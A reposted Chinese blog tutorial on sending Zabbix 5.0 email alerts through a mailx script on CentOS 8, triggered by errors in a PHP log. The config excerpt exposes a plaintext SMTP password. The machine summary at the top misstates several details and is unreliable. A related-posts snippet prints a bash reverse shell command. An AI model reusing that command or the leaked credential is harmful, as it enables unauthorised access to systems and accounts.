[转帖]linux(centos8):zabbix配置邮件报警(监控错误日志)(zabbix5.0)

linux,centos8,zabbix,配置,邮件,报警,监控,错误,日志,zabbix5 · 浏览次数 : 0

小编点评

**zabbix5.0发邮件报警准备工作** **1. 配置zabbix监控** * 创建一个名为`alerts`的用户组。 * 为该用户组添加邮件接收权限。 * 配置zabbix监控到`php`错误日志文件`error.log`。 * 添加一个监控触发器,当检测到`ERROR5`错误时发送邮件报警。 **2. 配置邮件发送** * 创建一个名为`mailx.sh`的脚本。 * 将邮件发送脚本的执行权限设置为可执行。 * 添加一个邮件发送任务,使用`mailx.sh`脚本。 **3. 测试邮件发送** * 使用`sudo`命令运行邮件发送脚本。 * 测试邮件内容为空的正常邮件发送成功。 **4. 配置邮件发送媒介** * 创建一个名为`email`的用户。 * 为该用户创建用户组。 * 为用户组配置邮件发送媒介为`4`。 * 在`/etc/zabbix_server/data/alertscripts/mailx.sh`中修改邮件发送媒介为`email`。 **5. 测试邮件发送** * 测试邮件发送成功。 **6. 配置用户组和用户** * 创建一个名为`zabbix_receiver`的用户组。 * 为该用户组添加邮件接收权限。 * 为用户组配置用户组为`zabbix_receiver`。 * 为该用户组配置报警媒介为`4`。 **7. 测试邮件发送** * 测试邮件发送成功。 **8. 查看邮件内容** * 使用zabbix的版本工具查看邮件内容。 **注意:** * `dos2unix`命令用于将dos文件转换为unix格式。 * `mailx.sh`脚本需要在服务器上执行。

正文

  •  

    http://t.zoukankan.com/architectforest-p-13204184.html

     

    一,zabbix5.0发邮件报警的准备工作:

          zabbix5.0在linux平台上的安装:参见这一篇:

    https://www.cnblogs.com/architectforest/p/12912560.html

          阿里云主机linux平台配置mailx使用smtps发邮件,参见这一篇:

    https://www.cnblogs.com/architectforest/p/12924395.html

    说明:刘宏缔的架构森林是一个专注架构的博客,地址:https://www.cnblogs.com/architectforest

             对应的源码可以访问这里获取: https://github.com/liuhongdi/

    说明:作者:刘宏缔 邮箱: 371125307@qq.com

    二,使zabbix可以通过bash脚本发邮件:

    备注:在添加发邮件脚本前应已完成mailx的配置

    [root@blog ~]# more /etc/mail.rc
    #其他配置...
    #by lhd set from=cbnlaoliuhb@163.com set smtp=smtps://smtp.163.com:465 set smtp-auth-user=cbnlaoliuhb@163.com set smtp-auth-password=TVPPDSCLUUIVULOL set smtp-auth=login ##set smtp-use-starttls set ssl-verify=ignore set nss-config-dir=/root/.163certs

    1,创建发邮件发警的脚本所在目录:

    [root@blog zabbx-5.0.0]# mkdir -p /data/zabbix_server/data/alertscripts

    2,修改zabbix_server的配置

    修改配置文件:

    [root@blog zabbx-5.0.0]# vi /usr/local/soft/zabbx-5.0.0/etc/zabbix_server.conf 

    设置配置项:

    AlertScriptsPath=/data/zabbix_server/data/alertscripts

    重启服务

    [root@blog zabbx-5.0.0]# systemctl restart zabbix-server.service

    3,编写发邮件的脚本

    [root@blog zabbx-5.0.0]# vi /data/zabbix_server/data/alertscripts/mailx.sh 

    内容:

    #!/bin/bash
    echo "$3" | mail -s "$2" "$1"

    4,为脚本增加可执行权限和修改owner

    [root@blog zabbx-5.0.0]# chmod +x /data/zabbix_server/data/alertscripts/mailx.sh
    [root@blog zabbx-5.0.0]# chown zabbix:zabbix /data/zabbix_server/data/alertscripts/mailx.sh

    5,测试发一封邮件:

    [root@blog ~]# sudo -u zabbix /data/zabbix_server/data/alertscripts/mailx.sh 371125307@qq.com "zabbix alert" "/etc/passwd is changed"

    能收到表示发邮件成功

    查看邮箱: 

    三,配置zabbix监控到问题时触发动作发邮件报警

    我们添加一个例子:当php的错误日志中出现error字样时,发送邮件报警

    1,配置报警媒介:

      

    说明:注意脚本名称:不要写绝对路径,因为在配置文件中已经做了配置

    在这里我把Email改名成了email脚本,大家可以新建一个媒介类型

    2,测试 Email脚本 这个媒介类型是否能正常发送邮件?

      

    看到 “Media type test successful.”,并收到邮件,
    表示报警媒介工作正常

    3,新建一个用户组和用户,用来接收邮件

    说明:不能只创建用户而不创建用户组,因为要使用用户组来配置权限

    说明:邮件用户组要对监控的主机群组有读写权限

    创建用户:

    配置用户的报警媒介:

    4,给web2这台主机增加对日志/data/logs/phplogs/error.log的监控触发器:
    监控的字串是:ERROR

    5,配置动作:当触发动作时会发邮件到指定用户报警

     新建一个动作:

    注意选中我们新建的触发器

    还要增加发邮件报警的操作

    6,测试效果

    登录到web2,在error.log中新加一行:

    [root@web2 phplogs]# vi error.log 

    新加一行:

    ERROR fatal 3009

    回到zabbix查看仪表板(注意有可能有几秒钟时间的延时):

    已经报告了问题

    此时邮箱也收到了邮件.

    7,mailx通过脚本发送邮件有一个问题:邮件内容会作为附件发送,邮件本身的内容为空,如何解决?

    查看是否存在dos2unix命令?

    [root@blog ~]# whereis dos2unix
    dos2unix: /usr/bin/dos2unix /usr/share/man/man1/dos2unix.1.gz

    如果不存在,用dnf安装

    [root@blog ~]# dnf install dos2unix

    修改发邮件的脚本:

    [root@blog phplogs]# vi /data/zabbix_server/data/alertscripts/mailx.sh

    内容:

    #!/bin/bash
    #echo "$3" | mail -s "$2" "$1"
    FILE=/tmp/mailtmp${RANDOM}.txt
    touch $FILE
    echo "$3" >$FILE
    dos2unix -k $FILE
    mailx -v -s "$2" "$1" < $FILE
    rm -rf $FILE

    之后邮件发送正常,内容可以正常显示

    如图:

    四,查看zabbix的版本:

    [root@blog zabbix-5.0.0]# /usr/local/soft/zabbx-5.0.0/sbin/zabbix_server --version
    zabbix_server (Zabbix) 5.0.0
    Revision 9665d62db0 11 May 2020, compilation time: May 17 2020 09:37:03
    
    Copyright (C) 2020 Zabbix SIA
    License GPLv2+: GNU GPL version 2 or later <http://gnu.org/licenses/gpl.html>.
    This is free software: you are free to change and redistribute it according to
    the license. There is NO WARRANTY, to the extent permitted by law.

与[转帖]linux(centos8):zabbix配置邮件报警(监控错误日志)(zabbix5.0)相似的内容:

[转帖]linux(centos8):zabbix配置邮件报警(监控错误日志)(zabbix5.0)

http://t.zoukankan.com/architectforest-p-13204184.html 一,zabbix5.0发邮件报警的准备工作: zabbix5.0在linux平台上的安装:参见这一篇: https://www.cnblogs.com/architectforest/p/1

[转帖]Linux下编译安装配置python3.9

Linux版本:CentOS-7.8-x86_64-Minimal-2003 操作用户:root (1)依赖包安装: 如果是Linux的minimal系统,需要安装: yum install -y vim wget tftp lrzsz bzip2 zip unzip net-tools bind-

[转帖]Linux开发环境——SCL软件集

一、SCL简介 1、SCL简介 SCL(Software Collections)是一个CentOS/RHEL Linux平台的软件多版本共存解决方案,为RHEL/CentOS Linux用户提供一种方便、安全地安装和使用应用程序和运行时环境的多个版本的方式,同时避免把系统搞乱。 CentOS/RH

[转帖]linux,wget 的证书不可信,证书使用不安全的算法签名

centos wget 的证书不可信,证书使用不安全的算法签名 wget wget https://www.php.net/distributions/php-7.4.28.tar.gz 出现错误: wget https://www.php.net/distributions/php-7.4.28.

[转帖]linux服务之tuned

https://www.cnblogs.com/createyuan/p/5701650.html RHEL/CentOS 在 6.3 版本以后引入了一套新的系统调优工具 tuned/tuned-adm,其中 tuned 是服务端程序,用来监控和收集系统各个组件的数据,并依据数据提供的信息动态调整系

[转帖]Linux之bash反弹shell原理浅析

环境 攻击机:kali ip:192.168.25.144 靶 机:centos ip:192.168.25.142 过程 kali 监听本地8888端口 靶机 centos 写入 反弹shell 的命令 bash -i >& /dev/tcp/192.168.25.144/8888 0>&1 攻击

[转帖]Linux命令之systemctl命令

一、systemctl命令简介 CentOS 5使用SysV init;CentOS 6使用Upstart,CentOS 7使用Systemd管理守护进程。centos7采用 systemd管理,服务独立的运行在内存中,服务响应速度快,但占用更多内存。独立服务的服务启动脚本都在目录 /usr/lib

[转帖]Linux操作系统使用RPMBUILD命令打包RPM的详细步骤

https://www.cnblogs.com/zhangxinglong/p/11904922.html 首先,我们需要了解一些预备知识,在旧版本的CentOS中,rpmbuild工具默认的工作路径是/usr/src/redhat,因为权限原因,一般用户身份不能制作rpm软件包,只能切换到root

[转帖]Linux | crontab定时任务及开机自启项

本文总结如何使用 crontab 创建定时任务及开启自启项 1。 本文基于 CentOS 7.9 系统所写。 Updated: 2022 / 9 / 5 Linux | crontab定时任务及开机自启 安装查询开机自启项开机自启动 设置开机自启项crond语法区别/etc/crontabcront

[转帖]linux【监控】BCC – 用于Linux性能监视,网络和更多的动态跟踪工具

https://blog.51cto.com/ghostwritten/5344917 文章目录​ ​1. ubuntu安装bcc​​​ ​2. centos安装bcc​​​ ​3. cachestat 缓存统计​​​ ​4. cachetop 缓存命中​​​ ​5. filtop 跟踪内核中文件的